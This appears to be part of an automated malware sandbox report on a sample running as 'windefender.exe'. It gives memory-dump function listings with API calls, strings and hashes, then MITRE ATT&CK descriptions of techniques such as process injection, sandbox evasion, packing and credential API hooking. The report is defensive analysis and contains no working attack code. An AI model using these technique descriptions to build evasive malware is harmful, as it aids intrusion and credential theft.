Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CompareStringtry_get_function
String ID: CompareStringEx
API String ID: 3328479835-2590796910
Opcode ID: d62702aeeb23d077d50cf64610e65f1c90e7cdd79556739b61dedc982c1fdc6d
Instruction ID: a29f1c882d4205983367ca6c0774478b45adef8d1435b39b9c65ac6e7da942ae
Opcode Fuzzy Hash: d62702aeeb23d077d50cf64610e65f1c90e7cdd79556739b61dedc982c1fdc6d
Instruction Fuzzy Hash: 2F11303661CBC186D760DB45F8402AAB7A1FB89B88F548136EE8D43B19CF7CD4408B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B1A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B1A97
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B1AD6

Part of subcall function 00007FF7019B9E68: _Yarn.LIBCPMT ref: 00007FF7019B9E96

Strings

bad locale name, xrefs: 00007FF7019B1AEA

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: 32b908108cd237eb5cba1e8f9bac981e284d381217bdac2534e43f5b9a6d914e
Instruction ID: d94494da4edbf3ff343df075f90368641166d024a3b2f22e2fddb17039a25939
Opcode Fuzzy Hash: 32b908108cd237eb5cba1e8f9bac981e284d381217bdac2534e43f5b9a6d914e
Instruction Fuzzy Hash: 34014B6352ABC18AC744EFB5A980159B6A5FF58B8CB685139CB8C8371AEF38D590C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BF4EC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7019B9B0E), ref: 00007FF7019BF530
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7019B9B0E), ref: 00007FF7019BF576

Strings

csm, xrefs: 00007FF7019BF563

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1c1d4edfab81aec74bcfaf235aa39090f944405d8f8c0753ef25d74ea04d033e
Instruction ID: 42b0d462a8c5bb738daf9a1f89e2a29f118c9ac562e310fcf64dd698d1704392
Opcode Fuzzy Hash: 1c1d4edfab81aec74bcfaf235aa39090f944405d8f8c0753ef25d74ea04d033e
Instruction Fuzzy Hash: 32113D32628B8182EB109F15E940269B7A5FF88B98F584235DF8D07768DFBCD5518700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D1054, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D107D
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00007FF7019D8874), ref: 00007FF7019D1094

Strings

GetUserDefaultLocaleName, xrefs: 00007FF7019D1060, 00007FF7019D106A

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: DefaultUsertry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 3217810228-151340334
Opcode ID: 7e8f518c8604ffc61f28e03b5f03f992b79c04bb97c4ed7245e07b4e6ae7fe07
Instruction ID: 5348657ebf64b2bea88fc102e27f4b666c53a3041dbc0c91f375a59a9bd78148
Opcode Fuzzy Hash: 7e8f518c8604ffc61f28e03b5f03f992b79c04bb97c4ed7245e07b4e6ae7fe07
Instruction Fuzzy Hash: 1DF05E15B3C5C282FB14BB66EE496B89291AF4878CFD88035DA0D06A96CFAC9445C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D10B8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D10E9
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00007FF7019C57E4), ref: 00007FF7019D1103

Strings

InitializeCriticalSectionEx, xrefs: 00007FF7019D10DD

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 3e5e89516c3b208d4de2910388d9803b3dbd8c46d2e262e577940497b006c2ed
Instruction ID: 4318a93608b69b1870e7045eb040f01ca2b08e5dac3e0ce8678d65b92bc5b930
Opcode Fuzzy Hash: 3e5e89516c3b208d4de2910388d9803b3dbd8c46d2e262e577940497b006c2ed
Instruction Fuzzy Hash: 58F05425E3C7C181EB146B51F9441B9A260BF4878CFD88535D95D03B54CFBCD555C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D0F7C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D0FA5
TlsSetValue.KERNEL32(?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9,?,?,?,?,00007FF7019D507E,?,?,00000000), ref: 00007FF7019D0FBC

Strings

FlsSetValue, xrefs: 00007FF7019D0F92

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 0d8a84be871c5973d44aa728ee23869030e7b3f8ed9764413539ddc368b6f7a8
Instruction ID: bada81eabec20fc642d3446d69d03525064ed52b34b65b36322083d96bfcb5eb
Opcode Fuzzy Hash: 0d8a84be871c5973d44aa728ee23869030e7b3f8ed9764413539ddc368b6f7a8
Instruction Fuzzy Hash: E3E06565A3C68291FB047B55EC450B5E262AF4879CFDCC136D51D06255CFBCE495C320

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: windefender.exe PID: 4940 Parent PID: 464 windefender.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428A80, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %sfailed to %wgcpacertraceget UUID: %wgetaddrinfowhost is , xrefs: 00428C05
,-./0456:;<=>?@BCLMNOPSZ["\, xrefs: 00428BC0
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtoo many open filesunknown Go type: %vunknown certificateunknown cipher typeunknown status codeunknown wait , xrefs: 00428B96
", xrefs: 00428C69
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428C2C
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusfailed to apply ACL to, xrefs: 00428C60

Memory Dump Source

Source File: 00000025.00000002.427071117.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000025.00000002.427062850.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000025.00000002.427940346.00000000008C3000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427956159.00000000008D1000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427973437.00000000008D4000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427983831.00000000008D7000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427998168.00000000008D8000.00000080.00020000.sdmp Download File
Associated: 00000025.00000002.428005730.00000000008D9000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: "$,-./0456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusfailed to apply ACL to$bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %sfailed to %wgcpacertraceget UUID: %wgetaddrinfowhost is $runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtoo many open filesunknown Go type: %vunknown certificateunknown cipher typeunknown status codeunknown wait
API String ID: 0-1070706453
Opcode ID: 35bfc13783085809ff100db792aae9c6576bf432ec796ad2e4c0f2543c7307a5
Instruction ID: d05530f15c22603299acca85900aed5cb2d67bbfa8ea3cc37d9bd2921fc2a2af
Opcode Fuzzy Hash: 35bfc13783085809ff100db792aae9c6576bf432ec796ad2e4c0f2543c7307a5
Instruction Fuzzy Hash: E95105B42097118FD340EF29D58575EBBE0FF48708F808A2EE88887352E7389944DF56

Uniqueness

Uniqueness Score: -1.00%

Function 004344A0, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->p= next= p->m= prev= span=(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPr, xrefs: 00434588
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestart copied file: %wstartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/br, xrefs: 00434662
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen MB released MB) workers= called from flushedWork gcscanvalid heap_marked= , xrefs: 00434566
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=$WINDIR\rss%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004345D4

Memory Dump Source

Source File: 00000025.00000002.427071117.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000025.00000002.427062850.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000025.00000002.427940346.00000000008C3000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427956159.00000000008D1000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427973437.00000000008D4000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427983831.00000000008D7000.00000040.00020000.sdmp Download File
Associated: 00000025.00000002.427998168.00000000008D8000.00000080.00020000.sdmp Download File
Associated: 00000025.00000002.428005730.00000000008D9000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=$WINDIR\rss%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPr$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestart copied file: %wstartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen MB released MB) workers= called from flushedWork gcscanvalid heap_marked=
API String ID: 0-2527030486
Opcode ID: 8b97a09f3ca774cfadb3114678e64e069106bda406771d947f6698ffa7ea8ee8
Instruction ID: 7f80efca96c7c0026b2bbb8fce386263dcbd652a6508ac33117d8161810f2d9f
Opcode Fuzzy Hash: 8b97a09f3ca774cfadb3114678e64e069106bda406771d947f6698ffa7ea8ee8
Instruction Fuzzy Hash: CE51D4B46083158FD704EF25D185B6ABBE0BF88308F41996EE48987352D778D888DF96

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: windefender.exe PID: 6348 Parent PID: 572 windefender.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428A80, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtoo many open filesunknown Go type: %vunknown certificateunknown cipher typeunknown status codeunknown wait , xrefs: 00428B96
,-./0456:;<=>?@BCLMNOPSZ["\, xrefs: 00428BC0
bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %sfailed to %wgcpacertraceget UUID: %wgetaddrinfowhost is , xrefs: 00428C05
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428C2C
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusfailed to apply ACL to, xrefs: 00428C60
", xrefs: 00428C69

Memory Dump Source

Source File: 0000002B.00000002.561173380.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.561161145.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000002B.00000002.562974455.00000000008C3000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.562998071.00000000008D1000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563012008.00000000008D4000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563030379.00000000008D7000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563049291.00000000008D8000.00000080.00020000.sdmp Download File
Associated: 0000002B.00000002.563077430.00000000008D9000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: "$,-./0456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing public modulusfailed to apply ACL to$bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdumping heapend tracegcentersyscallexit status failed to %sfailed to %wgcpacertraceget UUID: %wgetaddrinfowhost is $runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtoo many open filesunknown Go type: %vunknown certificateunknown cipher typeunknown status codeunknown wait
API String ID: 0-1070706453
Opcode ID: 35bfc13783085809ff100db792aae9c6576bf432ec796ad2e4c0f2543c7307a5
Instruction ID: d05530f15c22603299acca85900aed5cb2d67bbfa8ea3cc37d9bd2921fc2a2af
Opcode Fuzzy Hash: 35bfc13783085809ff100db792aae9c6576bf432ec796ad2e4c0f2543c7307a5
Instruction Fuzzy Hash: E95105B42097118FD340EF29D58575EBBE0FF48708F808A2EE88887352E7389944DF56

Uniqueness

Uniqueness Score: -1.00%

Function 004344A0, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->p= next= p->m= prev= span=(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPr, xrefs: 00434588
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestart copied file: %wstartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/br, xrefs: 00434662
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=$WINDIR\rss%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004345D4
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen MB released MB) workers= called from flushedWork gcscanvalid heap_marked= , xrefs: 00434566

Memory Dump Source

Source File: 0000002B.00000002.561173380.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.561161145.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000002B.00000002.562974455.00000000008C3000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.562998071.00000000008D1000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563012008.00000000008D4000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563030379.00000000008D7000.00000040.00020000.sdmp Download File
Associated: 0000002B.00000002.563049291.00000000008D8000.00000080.00020000.sdmp Download File
Associated: 0000002B.00000002.563077430.00000000008D9000.00000004.00020000.sdmp Download File

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=$WINDIR\rss%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=(...), not , val 390625<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaCommonCookieCopticDELETEExpectFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPr$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestart copied file: %wstartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileunexpected )unknown portwintrust.dllwirep: p->m=wtsapi32.dll != sweepgen MB released MB) workers= called from flushedWork gcscanvalid heap_marked=
API String ID: 0-2527030486
Opcode ID: 8b97a09f3ca774cfadb3114678e64e069106bda406771d947f6698ffa7ea8ee8
Instruction ID: 7f80efca96c7c0026b2bbb8fce386263dcbd652a6508ac33117d8161810f2d9f
Opcode Fuzzy Hash: 8b97a09f3ca774cfadb3114678e64e069106bda406771d947f6698ffa7ea8ee8
Instruction Fuzzy Hash: CE51D4B46083158FD704EF25D185B6ABBE0BF88308F41996EE48987352D778D888DF96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
